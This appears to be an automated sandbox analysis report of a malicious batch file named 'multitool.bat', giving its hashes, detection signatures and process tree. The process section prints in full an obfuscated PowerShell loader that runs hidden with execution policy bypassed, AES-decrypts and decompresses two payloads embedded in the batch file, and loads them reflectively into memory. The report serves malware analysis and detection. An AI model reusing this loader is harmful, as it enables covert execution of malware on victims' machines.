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Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
18/11/2024, 00:12
Static task
static1
Behavioral task
behavioral1
Sample
multitool.bat
Resource
win7-20240903-en
4 signatures
150 seconds
General
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Target
multitool.bat
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Size
298KB
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MD5
18c5a8b94eb5c19cdd965fc9d4686a02
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SHA1
ee67546afe31bcf09dc426955af03594cee62c0a
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SHA256
8f6e309171ab8b968764573f9a0252d70b793d36d6fccf1d7eb3fce7763cb74a
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SHA512
8b8e0bb6b8b7f9ff1ff75ead07f999b7bbba7fe787d2b731685cd539c76fef1dcf2461fc6be2be49660e352de051003266bb7f664d4d41bf8a2dff120543f1ec
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SSDEEP
6144:mxdIea9oQDm/ParmLX7WrxDShuILbormGyOVYKBOc97:mxQNDm3ar6XqrxQHsr/xHBT
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2256 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2256 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2256 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1716 wrote to memory of 2256 1716 cmd.exe 29 PID 1716 wrote to memory of 2256 1716 cmd.exe 29 PID 1716 wrote to memory of 2256 1716 cmd.exe 29
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\multitool.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBJDaMkDdd/LxYfLWK+RbSkMlTUv9paU/GK4TKxeeEY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1ld09wShPLv4usAwXhH2Uw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DMVZH=New-Object System.IO.MemoryStream(,$param_var); $yMzsP=New-Object System.IO.MemoryStream; $XKOrm=New-Object System.IO.Compression.GZipStream($DMVZH, [IO.Compression.CompressionMode]::Decompress); $XKOrm.CopyTo($yMzsP); $XKOrm.Dispose(); $DMVZH.Dispose(); $yMzsP.Dispose(); $yMzsP.ToArray();}function execute_function($param_var,$param2_var){ $hlsRs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZDZIA=$hlsRs.EntryPoint; $ZDZIA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\multitool.bat';$djbrx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\multitool.bat').Split([Environment]::NewLine);foreach ($UOgVo in $djbrx) { if ($UOgVo.StartsWith(':: ')) { $IGItJ=$UOgVo.Substring(3); break; }}$payloads_var=[string[]]$IGItJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256
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